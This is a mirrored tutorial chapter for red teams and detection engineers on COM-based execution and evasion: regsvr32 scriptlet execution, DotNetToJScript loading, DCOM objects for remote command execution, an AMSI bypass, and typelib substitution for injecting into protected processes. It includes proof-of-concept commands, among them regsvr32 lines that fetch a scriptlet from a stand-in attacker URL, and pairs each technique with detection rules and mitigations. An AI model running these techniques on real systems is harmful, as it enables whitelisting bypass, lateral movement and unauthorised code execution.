mirror of
https://github.com/An0nUD4Y/Offensive-COM
synced 2026-07-20 09:09:57 +00:00
795 lines
70 KiB
Markdown
795 lines
70 KiB
Markdown
# 06 · COM for Execution & Defense Evasion
|
||
|
||
> **Audience / level:** Red team operators and detection engineers; ramps from "what is application whitelisting" to type-confusion into Protected Process Light and NTLM relay chains. **Prerequisites:** basic Windows administration (registry, services, event logs), PowerShell literacy; the COM activation and DCOM chapters of this series are helpful but not required. **Estimated reading time:** 90–120 minutes.
|
||
> After this chapter you will be able to run and detect six families of COM-based execution/evasion techniques — scriptlets, serialized .NET delegates, abusable COM objects, type-confusion PPL injection, trapped COM objects, and DCOM-triggered NTLM relay — and enumerate new primitives of each class yourself.
|
||
|
||
**Contents**
|
||
- [1. Why Signed Binaries and COM Defeat Application Whitelisting](#1-why-signed-binaries-and-com-defeat-application-whitelisting)
|
||
- [2. Squiblydoo: regsvr32 and COM Scriptlets](#2-squiblydoo-regsvr32-and-com-scriptlets)
|
||
- [3. DotNetToJScript: Managed Code Inside the Windows Script Host](#3-dotnettojscript-managed-code-inside-the-windows-script-host)
|
||
- [4. LOLBIN-Style COM Execution Objects](#4-lolbin-style-com-execution-objects)
|
||
- [5. PPL Injection via COM Type Confusion](#5-ppl-injection-via-com-type-confusion)
|
||
- [6. Trapped COM Objects: Fileless Execution Inside PPL](#6-trapped-com-objects-fileless-execution-inside-ppl)
|
||
- [7. DCOM and NTLM Relay Chains](#7-dcom-and-ntlm-relay-chains)
|
||
- [8. Detection Engineering](#8-detection-engineering)
|
||
- [9. MITRE ATT&CK Mapping](#9-mitre-attck-mapping)
|
||
- [Research Lab: New Execution & Evasion Primitives](#research-lab-new-execution--evasion-primitives)
|
||
- [References](#references)
|
||
|
||
---
|
||
|
||
## 1. Why Signed Binaries and COM Defeat Application Whitelisting
|
||
|
||
Application whitelisting (AWL) — AppLocker or WDAC policy that decides what may run based on publisher signature, path, or hash — trusts Microsoft-signed binaries by default. COM gives an attacker a way to spend that trust: it lets a signed Microsoft binary load an interpreter, instantiate an object, or deserialize a payload that the *caller* chooses. The policy engine sees a chain of signed Microsoft code; the attacker sees arbitrary execution. Every technique in this chapter is a variation on that single idea.
|
||
|
||
> **Beginner note:** **Application whitelisting (AWL)** is a defensive control that inverts the default execution model: instead of blocking known-bad code, it allows only known-good code (typically "anything signed by Microsoft"). Its blind spot is that "signed by Microsoft" describes *who built the binary*, not *what the binary will do when COM tells it what to load*.
|
||
|
||
> **Beginner note:** A **LOLBIN** ("living off the land" binary) is a signed, pre-installed Microsoft binary whose legitimate functionality can be repurposed for attacker execution — ATT&CK calls this *System Binary Proxy Execution*. `regsvr32.exe`, `mshta.exe`, `wscript.exe`, `rundll32.exe`, and the script-hosting DLLs are the classic set.
|
||
|
||
The canonical execution chain looks like this: `regsvr32.exe` (signed) loads `scrobj.dll` (signed), which parses an attacker-supplied XML file and compiles its embedded script with `jscript.dll` or `vbscript.dll` (both signed). Every module in the chain passes signature policy; no executable of the attacker's ever touches disk. Section 2 builds this chain step by step.
|
||
|
||
#### The scriptlet: a COM class written in XML
|
||
|
||
A **COM scriptlet** (`.sct`) is a Windows Script Component: an XML file that *declares a COM class* — with a `progid` and a `classid` — and implements it in embedded JScript or VBScript. `scrobj.dll` is the Microsoft-signed runtime that parses the XML, registers the class, and hosts the script engines that run its code. The `.sct` format is shared with `.wsc` files and with the `script:` moniker used in TypeLib-hijack persistence (the `T1546.015` family); the scriptlet is therefore both an execution primitive and a file format that several other techniques reuse ([1]).
|
||
|
||
#### Where the defenders look: AMSI and ETW hooks
|
||
|
||
> **Beginner note:** **AMSI** (Antimalware Scan Interface) is the Windows API through which a scripting engine hands content to the installed antivirus *before executing it*. **ETW** (Event Tracing for Windows) is the kernel-integrated telemetry bus; security products subscribe to providers such as `Microsoft-Windows-Threat-Intelligence` to observe behavior (memory operations, image loads, RPC calls) rather than content.
|
||
|
||
AMSI is wired into the exact interpreters COM abuses: the JScript and VBScript engines, Windows Script Host (WSH), PowerShell, VBA (2018), WMI, .NET Framework 4.8+ (which scans `Assembly.Load(byte[])` as of April 2019), and even UAC (`Microsoft-Antimalware-UacScan`, ETW event 1201) ([3]). Because `scrobj.dll` hosts the WSH engines, **scriptlet content is AMSI-scanned**; each `CreateObject`'d script block is scanned again. Two boundary conditions matter for tradecraft:
|
||
|
||
- The **network fetch is not scanned** — AMSI sees the script when it executes, not when `regsvr32` downloads it. Egress monitoring, not AMSI, is the control for the fetch.
|
||
- **DotNetToJScript defaults to CLR v2**, which has no AMSI hook; only CLR v4 output is scanned (section 3). In June 2018 Microsoft shipped AMSI signatures for default DotNetToJScript/SharpShooter output — a signature control, trivially evaded by changing the template, which Forshaw demonstrated by neutering AMSI in WSH entirely ([4]).
|
||
|
||
The residual telemetry when content scanning fails is ETW: `Microsoft-Windows-DotNETRuntime` (`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`) reports assembly loads and JIT compilation inside `wscript.exe`/`dllhost.exe`, and `Microsoft-Windows-Threat-Intelligence` (`{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}` — consumers must run as PPL) observes injection-style memory behavior. The full provider table is in section 8.
|
||
|
||
The visibility matrix below is the mental model for the whole chapter — each technique is positioned by *which hooks it trips*:
|
||
|
||
| Stage | AMSI | Primary residual telemetry |
|
||
|---|---|---|
|
||
| Scriptlet content (Squiblydoo) | Yes — `AmsiScanBuffer` in jscript/vbscript; second scan per `CreateObject`'d block | Sysmon 1/3/7/11/22, Sigma Squiblydoo rules |
|
||
| .NET payload via COM (DotNetToJScript) | Conditional — CLR 4.8+ scans in-memory `Assembly.Load`; CLR 2.0 has no hook | DotNETRuntime ETW; Sysmon 7 (`clr.dll`/`clrjit.dll` in script hosts) |
|
||
| PowerShell DCOM one-liners | Fully scanned (script-block logging, event 4104) | 4104 content, process lineage |
|
||
| Type-confusion / trapped-COM native stages | No direct AMSI — registry + RPC + reflection only | Registry (Sysmon 12/13/14), RPC ETW, Threat-Intelligence ETW |
|
||
|
||
> **Key idea:** Defense evasion with COM is the art of moving execution into a context where the visibility hooks are absent or already satisfied — signed interpreters for AWL, CLR v2 for AMSI, and pure registry/RPC/reflection paths (sections 5-6) where there is no script content to scan at all.
|
||
|
||
> **Legal:** Every technique below executes code or coerces authentication on systems. Run the PoCs only in your own lab VMs or inside an authorized engagement with written scope.
|
||
|
||
---
|
||
|
||
## 2. Squiblydoo: regsvr32 and COM Scriptlets
|
||
|
||
### Squiblydoo (signed regsvr32 proxy execution of COM scriptlets)
|
||
|
||
**MITRE:** [T1218.010](https://attack.mitre.org/techniques/T1218/010/) · **Since:** April 2016, Casey Smith (@subTee) ([1]) · **Affects:** all Windows builds shipping `scrobj.dll` (WSH); scriptlet content AMSI-scanned on modern builds; blocked inside protected processes since Windows 10 1803 (section 5)
|
||
|
||
Squiblydoo is the original COM-scriptlet whitelisting bypass. Casey Smith showed that `regsvr32.exe /i:` passes an arbitrary string to `DllInstall`, and that the signed `scrobj.dll` will treat that string as a *location* — a URL, local path, or UNC path — from which to fetch and parse a COM scriptlet ([1]). The technique was adopted almost immediately in the wild: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, the Koadic and Covenant frameworks, and Metasploit's `web_delivery` module all used it ([43]).
|
||
|
||

|
||
*How to read this figure: follow the chain left to right — each box is a Microsoft-signed module, the dashed edge is the untrusted input (the .sct URL), and the shield marks where AMSI inspects the script text before execution. Note the annotations: no registry writes, no attacker binary on disk.*
|
||
|
||
#### Mechanics
|
||
|
||
1. Operator hosts a scriptlet at a URL (or a local/UNC path — `/i:` accepts all three) ([1]).
|
||
2. Victim-side execution: `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll`. The switch combination routes execution into `scrobj.dll`'s install path (`DllInstall`) with the URL as its string argument; the `/u` + `/i:` form performs an *unregister* action, which means **no registry writes and no administrative rights are required** ([1]).
|
||
3. `scrobj.dll` downloads the XML (regsvr32 is proxy-aware — it uses WinHTTP, so the fetch works through authenticated corporate proxies) and parses the `<registration>` element as a class declaration with `progid` and `classid` ([1]).
|
||
4. Because the request is an *unregistration*, the script inside the class runs immediately as the class is torn down; `scrobj.dll` compiles the embedded JScript/VBScript with the WSH engines ([1]).
|
||
5. `scrobj.dll` hosts the AMSI-enabled script engines, so the scriptlet content is submitted to `AmsiScanBuffer` before execution — and each block later instantiated via `CreateObject` is scanned again ([3]).
|
||
6. The payload body (e.g., `new ActiveXObject("WScript.Shell").Run(...)`) executes in the `regsvr32.exe` process with the caller's privileges.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | None beyond a standard user (the `/u` + `/i:` form needs no admin and writes no registry) |
|
||
| OS/build | Any Windows with WSH/`scrobj.dll`; on Windows 10 1803+ the same DLLs are blocked *inside protected processes* (CI.DLL mitigation, section 5) |
|
||
| Config | Outbound HTTP/S from the victim for the URL-hosted form; proxy environments are fine (WinHTTP, proxy-aware) |
|
||
| Evasion posture | Default scriptlet content is AMSI-scanned; default templates are signatured — customize the body |
|
||
|
||
#### Proof of concept
|
||
|
||
`payload.sct` (after Smith's original `Backdoor.sct` gist ([2])):
|
||
|
||
```xml
|
||
<?XML version="1.0"?>
|
||
<scriptlet>
|
||
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
|
||
<script language="JScript"><![CDATA[
|
||
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||
]]></script>
|
||
</registration>
|
||
</scriptlet>
|
||
```
|
||
|
||
Local, URL-hosted, and UNC invocation:
|
||
|
||
```powershell
|
||
regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll # URL form (canonical)
|
||
regsvr32.exe /s /n /u /i:C:\labs\payload.sct scrobj.dll # local path
|
||
regsvr32.exe /s /n /u /i:\\fileshare\payload.sct scrobj.dll # UNC path
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Sysmon EID 1 / Security 4688:** `regsvr32.exe` command line containing `/i:` together with `scrobj.dll`, especially with a URL — near-signature fidelity. Sigma ships `proc_creation_win_regsvr32_squiblydoo.yml`; MITRE CAR-2019-04-003 covers the same behavior ([41],[44]).
|
||
- **Sysmon EID 3:** `regsvr32.exe` making outbound HTTP/S connections is a near-zero-false-positive network indicator; **EID 22** catches the DNS lookup for the scriptlet host.
|
||
- **Sysmon EID 7:** `scrobj.dll` loaded into `regsvr32.exe`; **EID 11:** `.sct` files dropped to disk (URL form leaves no such artifact).
|
||
- **AMSI:** the executed script content is scanned (the download is not); default Squiblydoo/SharpShooter-era templates are signatured since June 2018 ([3]).
|
||
- **Noise reduction:** host the scriptlet on infrastructure that blends with normal software-delivery traffic and customize the XML body; expect the process and network indicators — not the content — to be what survives content-signature evasion.
|
||
|
||
#### Mitigations
|
||
|
||
- AppLocker/WDAC rules that block `scrobj.dll` script execution (script and DLL rules); the oddvar.moe AppLocker case study walks the policy construction ([19]).
|
||
- Alert on the command-line and network indicators above rather than on content; treat any `regsvr32` network egress as hostile by default.
|
||
- Where script hosts are not needed, disable WSH; ensure AMSI is enabled and that no `amsi.dll` shadowing is possible (section 3, Forshaw's bypass ([4])).
|
||
|
||
---
|
||
|
||
## 3. DotNetToJScript: Managed Code Inside the Windows Script Host
|
||
|
||
### DotNetToJScript (deserialize a .NET delegate inside JScript/VBScript via COM)
|
||
|
||
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) (with [T1620](https://attack.mitre.org/techniques/T1620/) for the in-memory `Assembly.Load`) · **Since:** 2017, James Forshaw ([5]) · **Affects:** .NET Framework — CLR v2 by default (no AMSI); CLR v4 output is AMSI-scanned; default templates signatured since June 2018
|
||
|
||
DotNetToJScript takes a managed assembly and emits a JScript, VBScript, or HTA file that reconstructs it **entirely in memory** — no `.exe` or `.dll` ever touches disk. It is the engine inside SharpShooter, CACTUSTORCH, GreatSCT, and SuperSharpShooter, and it was the payload-delivery mechanism in enigma0x3's Outlook `CreateObject` DCOM lateral-movement technique of November 2017 ([5],[6],[10]). The trick that makes it work is that large parts of `mscorlib` are **COM-visible**: the script can instantiate the .NET BinaryFormatter itself through `ActiveXObject`.
|
||
|
||
#### Mechanics
|
||
|
||
1. **Build a bound delegate.** The tool creates `Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[]))` — a delegate that calls `Assembly.Load` with the payload bytes already bound as its argument ([5]).
|
||
2. **Wrap for COM invocation.** The bound delegate is wrapped in a COM-invocable `HeaderHandler` delegate (an abuse of delegate contra-variance) so it can later be fired with `DynamicInvoke` from a late-bound COM call ([5]).
|
||
3. **Serialize.** The delegate graph is serialized with `BinaryFormatter` and Base64-encoded into a JScript/VBScript/HTA template, together with an `entry_class` name (default `TestClass`) ([5]).
|
||
4. **Runtime: COM from script.** The script instantiates COM-visible `mscorlib` classes through their ProgIDs via `ActiveXObject` — `System.Runtime.Serialization.Formatters.Binary.BinaryFormatter`, `System.Collections.ArrayList`, `System.Text.ASCIIEncoding`, `System.Security.Cryptography.FromBase64Transform` — to rebuild the byte stream ([5]).
|
||
5. **Deserialize and invoke.** `Deserialize_2` rehydrates the delegate; `DynamicInvoke` fires `Assembly.Load(byte[])`; `CreateInstance(entry_class)` runs the payload class constructor — arbitrary managed code inside the script-host process ([5]):
|
||
|
||
```js
|
||
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
|
||
var d = fmt.Deserialize_2(stm);
|
||
var o = d.DynamicInvoke(al.ToArray()) // -> Assembly.Load(byte[])
|
||
.CreateInstance(entry_class); // constructor runs
|
||
```
|
||
|
||
6. **Result:** a fully managed payload running inside signed `wscript.exe`/`cscript.exe`/HTA — the "no managed assembly on disk" property that made it the standard first-stage loader of 2018-era tradecraft ([5],[6]).
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user |
|
||
| OS/build | .NET Framework installed; tool output defaults to CLR v2 — on hosts with only v4, regenerate for v4 (AMSI-scanned) |
|
||
| Config | WSH enabled; script content subject to AMSI on modern builds |
|
||
| Evasion posture | Default templates signatured since June 2018 — mutate the template; CLR v2 has no AMSI hook ([4]) |
|
||
|
||
#### Proof of concept
|
||
|
||
Generate a script from any .NET assembly (tool options select JScript, VBScript, or HTA output and the entry class), then execute with the script host. The runtime core is the snippet in step 5; a minimal delivery loop:
|
||
|
||
```powershell
|
||
# 1. Build payload.dll exposing public class TestClass with a payload constructor.
|
||
# 2. Run DotNetToJScript against it to produce payload.js (JScript template).
|
||
# 3. Execute in the signed script host:
|
||
wscript.exe payload.js
|
||
```
|
||
|
||
The generated `payload.js` contains the Base64 `BinaryFormatter` blob and the COM-visible `mscorlib` instantiation chain shown in step 5 — no other files are required.
|
||
|
||
#### OpSec & detection
|
||
|
||
- **AMSI:** script content scanned; default DotNetToJScript/SharpShooter output signatured since June 2018. Forshaw's counter — "Disabling AMSI in JScript with One Simple Trick" — copies `wscript.exe` to a file named `amsi.dll`; `LoadLibraryEx("amsi.dll")` then returns the already-loaded EXE image, `AmsiInitialize` fails, and WSH runs unscanned ([4]).
|
||
- **CLR-version gap:** v2 output carries no AMSI visibility at all; v4 output is scanned at `Assembly.Load` (4.8+, April 2019) ([3]).
|
||
- **ETW residual:** `Microsoft-Windows-DotNETRuntime` (`{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}`) assembly-load/JIT events inside `wscript.exe`/`dllhost.exe` reveal managed code in script hosts regardless of AMSI.
|
||
- **Sysmon EID 7:** `clr.dll`, `clrjit.dll`, or `mscoree.dll` loading into `wscript.exe`/`cscript.exe` (also `dllhost.exe`, `svchost.exe`, `mmc.exe`, `explorer.exe` for the section 4 and 6 techniques) is the highest-fidelity image-load indicator; see the KQL query in section 8.
|
||
|
||
#### Mitigations
|
||
|
||
- Do not rely on AMSI signatures alone — they bind to the default template; layer image-load and ETW detection.
|
||
- Constrain WSH (AppLocker script rules), and alert on CLR loads inside script hosts.
|
||
- Treat `wscript.exe` copies/renames (the `amsi.dll` shadow trick) as a detection opportunity in file and process telemetry.
|
||
|
||
---
|
||
|
||
## 4. LOLBIN-Style COM Execution Objects
|
||
|
||
### Abusable COM execution objects (local and remote command execution through registered classes)
|
||
|
||
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) (local) + [T1021.003](https://attack.mitre.org/techniques/T1021/003/) (remote) · **Since:** enigma0x3, 2017 ([7]); bohops, 2018 ([11]) · **Affects:** object-dependent — see table; remote use requires administrator-level Launch/Activation rights by default
|
||
|
||
Windows ships with COM classes whose methods *are* command execution: `ExecuteShellCommand`, `ShellExecute`, `DDEInitiate`, `Navigate2`. Instantiating the class and calling the method is execution through entirely signed, whitelisted software — the "LOLCOM" idea. One accuracy point up front: **no curated "LOLCOM" project exists** (unlike LOLBAS for binaries). The working canon is the research corpus: enigma0x3's 2017 series ([7],[8],[9],[10]), bohops 2018 ([11],[12]), Tsukerman/Cybereason 2018-19 ([13],[14]), rvrsh3ll's Invoke-DCOM.ps1 ([15]), FireEye's two-part "Hunting COM Objects" (June 2019) ([17]), Axel Boesenach's hackdefense enumeration paper ([18]), and rasta-mouse's CsDCOM/CheeseDCOM tooling.
|
||
|
||
The verified object set:
|
||
|
||
| Object | CLSID/ProgID | Method | Host | Notes |
|
||
|---|---|---|---|---|
|
||
| MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7")` | `mmc.exe -Embedding` | local+remote; admin required (AppID launch perms) |
|
||
| ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | `Document.Application.ShellExecute(...)`; Navigate/Navigate2 | existing explorer.exe window (medium IL) | usable from medium IL locally — code runs inside explorer.exe |
|
||
| ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | same | new explorer.exe if no window | local medium-IL exec; remote needs admin |
|
||
| ExcelDDE | ProgID Excel.Application (`{00024500-0000-0000-C000-000000000046}`) | `DDEInitiate("cmd","/c ...")` | EXCEL.EXE | no malicious doc needed; needs Office |
|
||
| Excel variants | same | `RegisterXLL`, `ExecuteExcel4Macro` (XLM) | EXCEL.EXE | enigma0x3 Sep 2017 ([9]) |
|
||
| InternetExplorer.Application | `{0002DF01-0000-0000-C000-000000000046}` | Navigate2 to UNC/local exe | iexplore.exe | IE prompts limit reliability |
|
||
| htafile (LethalHTA) | ProgID htafile | remote instantiation → mshta fetches .hta | mshta.exe | codewhitesec Jul 2018 ([16]) |
|
||
| Outlook.Application | ProgID | `CreateObject("Wscript.Shell")` + DotNetToJScript | OUTLOOK.EXE | enigma0x3 Nov 2017 ([10]) |
|
||
| Utility objects | ProgIDs | `WScript.Shell.Run`, `Shell.Application.ShellExecute`, `Schedule.Service`, `WbemScripting.SWbemLocator` | various | standard local exec primitives |
|
||
| Visio.Application | ProgID | macro-less exec paths | VISIO.EXE | Tsukerman/CheeseDCOM lists ([13]) |
|
||
|
||
#### Mechanics
|
||
|
||
1. Pick an object whose method reaches execution and whose hosting model fits the goal: new process (`mmc.exe -Embedding`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding`) or an existing medium-IL `explorer.exe` window (ShellWindows).
|
||
2. Instantiate — locally via `CoCreateInstance`/PowerShell interop, remotely via `CoCreateInstanceEx` (`GetTypeFromCLSID(clsid, target)`).
|
||
3. Call the execution method with the command line.
|
||
4. The *server process*, not the client, spawns the payload — which is both the evasion property (parent is a signed Microsoft binary) and the detection anchor (that parent-child pair is anomalous).
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Local: medium IL suffices for ShellWindows/ShellBrowserWindow; MMC20 requires admin (AppID launch permissions). Remote: admin-tier Launch/Activation rights (default Administrators) |
|
||
| OS/build | Object-dependent; Excel/Visio paths need Office installed |
|
||
| Config | Remote: NTLM/Kerberos to 135 + dynamic RPC ports; DCOM hardening (KB5004442) compatible with legitimate tooling |
|
||
| Evasion posture | PowerShell instantiation is fully AMSI/script-block logged — prefer compiled tooling for quiet runs |
|
||
|
||
#### Proof of concept
|
||
|
||
The standard PowerShell idiom (this is also the exact string set defenders should detect) ([15]):
|
||
|
||
```powershell
|
||
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
|
||
$obj = [System.Activator]::CreateInstance($com)
|
||
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
|
||
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
|
||
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")
|
||
```
|
||
|
||
Tooling for operators: Invoke-DCOM.ps1 (rvrsh3ll) ([15]); impacket `dcomexec.py` (`-object MMC20|ShellWindows|ShellBrowserWindow`, semi-interactive, returns output via a temp file over `ADMIN$`) ([35]); CrackMapExec `dcom`; rasta-mouse's CsDCOM/CheeseDCOM for C# operators.
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Lineage is the anchor:** `mmc.exe -Embedding`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding`, or `explorer.exe` spawning `cmd.exe`/`powershell.exe` — Sigma `proc_creation_win_mmc_mmc20_lateral_movement.yml` (rule id `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`) and Splunk's "Mmc LOLBAS Execution Process Spawn" cover the MMC case ([41],[45]).
|
||
- **PowerShell 4104 script-block logging** catches the idiom verbatim: `GetTypeFromCLSID`, `GetTypeFromProgID`, `Activator]::CreateInstance`, `ExecuteShellCommand`, `ShellExecute`, `DDEInitiate` (Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45]).
|
||
- **Remote use** adds network indicators: workstation-to-workstation TCP/135 + dynamic ports, Security 4624 Type 3 NTLM logons, and DcomLaunch-spawned servers (section 8).
|
||
- **Noise reduction:** prefer objects hosted in already-running processes (ShellWindows inside explorer) to avoid a new-service-process event; expect the AppID/CLSID registry reads and outbound callbacks regardless.
|
||
|
||
#### Mitigations
|
||
|
||
- Inventory legitimate DCOM (SCCM, backup, OPC, AV management) and deny the rest via `dcomcnfg` AppID Launch ACLs — MMC20 and the Office CLSIDs first.
|
||
- Block workstation-to-workstation 135/dynamic RPC at the network layer; AppLocker/Office ASR rules for the Office objects.
|
||
- Collect and alert on the lineage pairs and script-block strings above; treat `dllhost.exe /Processid:` anomalies as high priority.
|
||
|
||
---
|
||
|
||
## 5. PPL Injection via COM Type Confusion
|
||
|
||
### Type-library substitution into PPL (Forshaw 2018, Parts 1-2, and IRundown::DoCallback)
|
||
|
||
**MITRE:** [T1055](https://attack.mitre.org/techniques/T1055/) · **Since:** October/November 2018, James Forshaw, Google Project Zero ([20],[21]) · **Affects:** Windows 10 — the Part 2 chain works through 1809; the interpreter route was fixed in 1803; the KnownDlls technique was killed by Microsoft in July 2022
|
||
|
||
> **Beginner note:** **PPL** (Protected Process Light) marks a process so that only code signed at an equal or higher *signer level* can open full-access handles to it — even administrators and other SYSTEM processes are locked out. Levels seen in this chapter: `PPL-CodeGen` (the .NET Runtime Optimization Service, which caches signing levels for UMCI), `PPL-WindowsTCB`, and full `PP-WindowsTCB`. PPL guards the crown jewels (LSASS — T1003.001 is the classic end-goal), so injecting unsigned code into PPL is both an evasion and an escalation primitive. Microsoft does **not** consider PPL a security boundary under its servicing criteria — these techniques earned no CVEs and no bounties on their own (caveat: that boundary rationale is an inference from Microsoft's response).
|
||
|
||
This two-part Project Zero work was the first public, no-admin, userland code execution inside PPL up to `PPL-WindowsTCB` and full `PP-WindowsTCB`. Its real legacy is the primitive it established — **type-library substitution → type confusion inside the COM stub** — later reused by itm4n's PPLdump/PPLmedic and by MDSec's `IRundown::DoCallback` injection ([20],[23],[24],[25]).
|
||
|
||

|
||
*How to read this figure: the left column is the attacker's userland, the right column the protected process; arrows show where data crosses the trust boundary (typelib shadow, marshaled pipe, the zeroing write, the induced DLL load). The bottom strip is the fixes timeline — note that each fix killed a technique, not the bug class.*
|
||
|
||
#### Mechanics — Part 1: PPL via COM type confusion + KnownDlls ([20])
|
||
|
||
1. **Target:** the .NET Runtime Optimization Service (`mscorsvw.exe`, NGEN), which runs at `PPL-CodeGen`.
|
||
2. **COM exposure:** `ngen install x.dll` makes mscorsvw marshal a private, .NET-implemented class factory (`CorSvcBindToWorkerClassFactory`) over a named pipe via `CoMarshalInterface` — a COM server living inside PPL.
|
||
3. **Bug class:** COM proxies/stubs are generated at runtime *from a Type Library*. The typelib is registered in HKLM, but `HKCU\Software\Classes\TypeLib` **shadows** it for the current user — no admin needed to substitute a modified definition.
|
||
4. **Confusion:** the modified typelib changes one method signature — `[out] long*` → `[in] long` on `ICorSvcPooledWorker::CanReuseProcess`. The server-side stub now unmarshals an attacker-chosen *integer* as a *pointer* → type confusion → controlled write of `0` to an arbitrary address.
|
||
5. **Data-only weaponization:** aim the write at the loader global `LdrpKnownDllDirectoryHandle`. Pre-fill the child PPL's handle table with inheritable handles to a *fake* KnownDlls object directory; a 32-bit write zeroes the top 16 bits of the real handle value, aliasing it to the fake. An induced DLL load then maps unsigned code into the PPL and runs `DllMain`. **No thread injection, no ROP, no CFG bypass.**
|
||
6. **Escalation to `PPL-WinTcb`:** abuse the `CiSetFileCache` cached-signing backdoor to cache-sign an arbitrary DLL as Microsoft/WinTcb.
|
||
|
||
#### Mechanics — Part 2: full PP-WindowsTCB via IRundown::DoCallback ([21])
|
||
|
||
1. COM-hijack CLSID `{07FC2B94-5285-417E-8AC3-C2CE5240B0FA}` with `ThreadingModel="Free"` (HKCU) inside the PP target; inherit the fake KnownDlls handles.
|
||
2. Start `WerFaultSecure.exe` at `PP-WindowsTCB` dumping an AppContainer process — using the vulnerable **Windows 8.1** WerFaultSecure, whose dumps are unencrypted.
|
||
3. Parse the dump for the per-process **COM security secret**, context pointer, and the IPID of the undocumented `IRundown` interface (present in every COM-remoting process).
|
||
4. `IRundown::DoCallback(fn, param)` executes an arbitrary function with one pointer argument inside the PP: overwrite `LdrpKnownDllDirectoryHandle`, then `LoadLibrary` a fake KnownDll. Works on Windows 10 **through 1809**. Corollary: arbitrary memory read in any COM-remoting process → arbitrary execute — again without thread creation or allocation APIs. MDSec later productized exactly this as a general process-injection primitive (April 2022) ([25]).
|
||
|
||
#### Microsoft response and the fix timeline
|
||
|
||
- PPL is not a security boundary per Microsoft's servicing criteria → no CVEs/bounties for PPL-only issues; the work was **fixed anyway**.
|
||
- The JScript/scriptlet PPL-injection route (P0 Issue 1336) was fixed in Windows 10 **1803**: CI.DLL's `CipMitigatePPLBypassThroughInterpreters` blocks `scrobj.dll`, `scrrun.dll`, `jscript.dll`, `jscript9.dll`, and `vbscript.dll` from loading into protected processes — note this directly closes a Squiblydoo-into-PPL path.
|
||
- `CVE-2017-11830` — the `CiSetFileCache` TOCTOU security-feature bypass (P0 Issue 1332) used for the WinTcb escalation ([22]).
|
||
- **July 2022:** Microsoft stopped initializing `\KnownDlls` in PPL processes, killing the PPLdump variant — but the underlying *signature-not-verified-on-section-map* issue remained, and PPLmedic (2023) re-proved the class ([23],[24]).
|
||
- Follow-on tooling: itm4n's PPLdump/PPLmedic/PPLKiller, gabriellandau's PPLFault, MDSec's `IRundown::DoCallback` injection, and ANGRYORCHARD.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user (Part 1 needs no admin); the WinTcb escalation uses the CiSetFileCache bug ([22]) |
|
||
| OS/build | Windows 10; Part 2 works through 1809; KnownDlls technique dead post-July 2022 ([23]) |
|
||
| Config | .NET Runtime Optimization Service available; ability to write `HKCU\Software\Classes\TypeLib` |
|
||
| Evasion posture | No `CreateRemoteThread`, no allocation APIs, no ROP/CFG bypass — invisible to classic injection telemetry |
|
||
|
||
#### Proof of concept
|
||
|
||
Full weaponized code is in the referenced tooling ([24],[25]); the lab-reproducible core is the typelib shadow. *(illustrative — verify in lab; use OleViewDotNet/midl to export, edit, and rebuild the typelib)*
|
||
|
||
```powershell
|
||
# 1. Export the ICorSvcPooledWorker typelib (OleViewDotNet), edit CanReuseProcess:
|
||
# HRESULT CanReuseProcess([in] long dwProcessId); // was [out] long*
|
||
# 2. Rebuild (midl) and register the modified typelib under the HKCU shadow hive:
|
||
reg add "HKCU\Software\Classes\TypeLib\<typelib-guid>\<version>" /ve /d "shadow" /f
|
||
# 3. Trigger the PPL COM server so its stub picks up the shadowed definition:
|
||
ngen install x.dll
|
||
# 4. Invoke CanReuseProcess with a pointer-sized integer; the server writes 0 there.
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Sysmon EID 12/13/14:** writes under `HKCU\Software\Classes\TypeLib\{...}` — the shadow registration is the highest-fidelity artifact; alert on any typelib write outside installers.
|
||
- **Sysmon EID 17/18:** named-pipe creation/connection around `mscorsvw.exe` (the marshaled class factory).
|
||
- **Sysmon EID 8 blind spot:** this chain performs *no* `CreateRemoteThread` — teach it as the canonical evasion gap for injection detections built on EID 8.
|
||
- **ETW:** `Microsoft-Windows-Threat-Intelligence` (`{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}`) observes the injection-style memory behavior; consumers must run PPL themselves.
|
||
|
||
#### Mitigations
|
||
|
||
- The interpreter blocklist (1803+) and the July 2022 KnownDlls change are the platform mitigations; keep builds current.
|
||
- Monitor/protect the HKCU `TypeLib` and `CLSID` hives; treat user-writable shadows of HKLM COM registrations as anomalous by policy.
|
||
- Remember the residual class: signature verification on section mapping is still the load-bearing assumption PPLmedic exploits ([24]).
|
||
